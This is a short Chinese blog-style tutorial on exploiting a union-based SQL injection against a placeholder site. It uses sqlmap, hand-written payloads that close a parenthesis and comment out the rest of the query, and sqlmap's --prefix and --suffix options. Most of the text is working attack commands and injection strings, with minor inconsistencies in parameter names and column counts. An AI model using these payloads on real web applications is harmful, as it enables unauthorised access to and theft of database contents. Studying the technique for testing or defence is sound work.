现在能够帮助我们进行sql注入检测的工具越来越多,但我认为,通用性最强的还是sqlmap,其他工具在灵活性上远远不及sqlmap。sql注入有许多类型,其中最喜欢的当然是能够union查询的,比blind类型的不知道爽到哪里去了。
现在有一个url已知存在sql注入漏洞,我们丢到sqlmap里面,跑一下,结果是这样的
sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p ppid

很明显,是一些比较恶心的注入类型,bind和error-based,难道我们就只能听工具的了么,我们手动来看一看。sq报错如下
MySQL Error Message: MySQL Query Error SQL: select ..... and pass=0 and (c.catid=2\' or c.parentid=2\') and subject like '%%' Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or c.parentid=2\') and subject like '%%'' at line 4 Errno.: 1064 Click here to seek help.
报错显示,这里懂sql语句有点复杂并且不是常规懂类型,需要闭合括号还有最好屏蔽掉后面的like语句,构造一下
http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) order by 15 -- http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) order by 16 --
order by确认了查出来懂总共16条,那么,继续试试
http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) and 1=2 union% select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --

手工确认之后,使用sqlmap来继续进行,我们需要用到sqlmap的两个选项,suffix和prefix,添加以下语句的前缀和后缀。
sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p catid --suffix=" -- " --prefix=")"

成功自定义了注入的语句,出现来union类型的注入。 |